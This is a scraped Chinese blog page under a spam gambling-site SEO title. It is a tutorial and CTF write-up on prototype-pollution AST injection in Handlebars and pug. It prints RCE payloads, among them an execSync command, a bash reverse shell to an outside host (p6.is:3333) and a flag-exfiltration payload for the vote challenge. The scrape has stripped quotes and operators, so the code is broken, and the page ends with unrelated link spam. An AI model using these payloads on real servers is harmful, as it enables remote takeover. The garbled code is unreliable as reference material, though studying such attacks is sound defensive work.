当前位置: 首页 > news >正文

菠菜网站建设seo好seo

菠菜网站建设,seo好seo,全国八大员报名官方网站,wordpress小说文章目录 概念漏洞Handlebarspug 例题 [湖湘杯 2021 final]vote 概念 什么是AST注入 在NodeJS中#xff0c;AST经常被在JS中使用#xff0c;作为template engines(引擎模版)和typescript等。对于引擎模版#xff0c;结构如下图所示。 如果在JS应用中存在原型污染漏洞AST经常被在JS中使用作为template engines(引擎模版)和typescript等。对于引擎模版结构如下图所示。 如果在JS应用中存在原型污染漏洞任何 AST 都可以通过在Parser(解析器)或Compiler(编译器)过程中插入到函数中。 在这里你可以在没有过滤、没有经过lexer(分析器)或parser(解析器)验证的输入(没有被适当的过滤)的情况下插入AST。 然后我们可以向Parser(编译器)非预期的输入。 下面就是展示实际中在handlebars和pug使用AST注入执行任意命令 漏洞 Handlebars 本地测试代码如下 const Handlebars require(handlebars);const source Hello {{ msg }}; const template Handlebars.compile(source);console.log(template({msg: posix}));这是如何在handlebars使用模板的方法运行结果为下图 Handlebar.compile函数将字符串转换为模板函数并传递对象因子以供调用 const Handlebars require(handlebars);Object.prototype.pendingContent scriptalert(origin)/scriptconst source Hello {{ msg }}; const template Handlebars.compile(source);console.log(template({msg: posix}));在这里我们可以使用原型污染来影响编译过程。 你可以插入任意字符串payload到Object.prototype.pendingContent中决定你想要的攻击。 构造payload {type: MustacheStatement,path: 0,params: [{type: NumberLiteral,value: console.log(process.mainModule.require(child_process).execSync(id).toString())}],loc: {start: 0,end: 0} }pug 本地测试源码如下 const pug require(pug); const source h1 msg; var fn pug.compile(source); var html fn({msg: It works});console.log(html);此为在 pug 中使用模板的常见方法运行结果为下图 pug.compile函数将字符串转换为模板函数并传递对象以供调用 const pug require(pug); Object.prototype.block {type:Text,val:scriptalert(origin)/script}; const source h1 msg; var fn pug.compile(source, {}); var html fn({msg: It works}); console.log(html);构造payload {__proto__.block: { type: Text, line: process.mainModule.require(child_process).execSync(bash -c bash -i /dev/tcp/p6.is/3333 01)} }例题 [湖湘杯 2021 final]vote 考察的是pug模板引擎下的rce 源码如下 const path require(path); const express require(express); const pug require(pug); const { unflatten } require(flat); const router express.Router();router.get(/, (req, res) {return res.sendFile(path.resolve(views/index.html)); });router.post(/api/submit, (req, res) {const { hero } unflatten(req.body);if (hero.name.includes(奇亚纳) || hero.name.includes(锐雯) || hero.name.includes(卡蜜尔) || hero.name.includes(菲奥娜)) {return res.json({response: pug.compile(You #{user}, thank for your vote!)({ user:Guest })});} else {return res.json({response: Please provide us with correct name.});} });module.exports router;给了./api/submit路由然后看到pug.compile 稍微修改下payload直接使用这道题反弹shell不成功 {hero.name:锐雯,__proto__.block: {type: Text,line: process.mainModule.require(child_process).execSync(cat /f* ./static/1.txt)} }成功RCE 再访问一下static目录的1.txt得到flag
http://www.w-s-a.com/news/434410/

相关文章:

  • 有专门下载地图做方案的网站吗网站建设平台计划书
  • 网站闭站保护10个著名摄影网站
  • 安徽省建设工程信息网官网首页网站关键词排名优化工具
  • 深圳网站建设 百业网站专题教程
  • 公司seo是指什么意思如何来做网站优化
  • 化妆品网站建设平台的分析湖南网站搜索排名优化电话
  • 织梦网站修改教程视频教程管理类网站开发价格
  • 如何让新网站快速收录企业建站的作用是什么
  • 在线制作简历的网站做的最好的微电影网站
  • h5制作的网站网络游戏投诉平台
  • 做外贸网站好还是内贸网站好珠海新盈科技有限公 网站建设
  • php和网站开发网络软营销
  • 大型做网站的公司有哪些wordpress注册链接无效
  • 推荐门户网站建设公司网站开发移动端
  • 公司网站的栏目设置成都十大监理公司排名
  • 安溪住房和城乡建设网站关岭县建设局网站
  • 网站域名注销备案徐州房产网
  • 筑聘网windows优化大师自动安装
  • 龙华高端网站设计门户网站建设方案公司
  • 网站开发作用网站建设哪家专业
  • 网站设计报告总结南宁商城网站推广公司
  • 淘宝做店招的网站免费网站建设自助建站
  • 重庆工信部网站绵阳公司网站建设
  • 购物网站开发流程制作企业网页
  • 定州哪里可以做网站建设项目环境影响登记表备案系统网站
  • 网站建设费属于广告费小猪网站怎么做的
  • 国内优秀设计网站站长哈尔滨微网站建设
  • 如何建设一个优秀的电商网站沐风seo
  • 从零开始学网站建设知乎安防网站下载
  • 打开网站弹出qq应用软件有哪些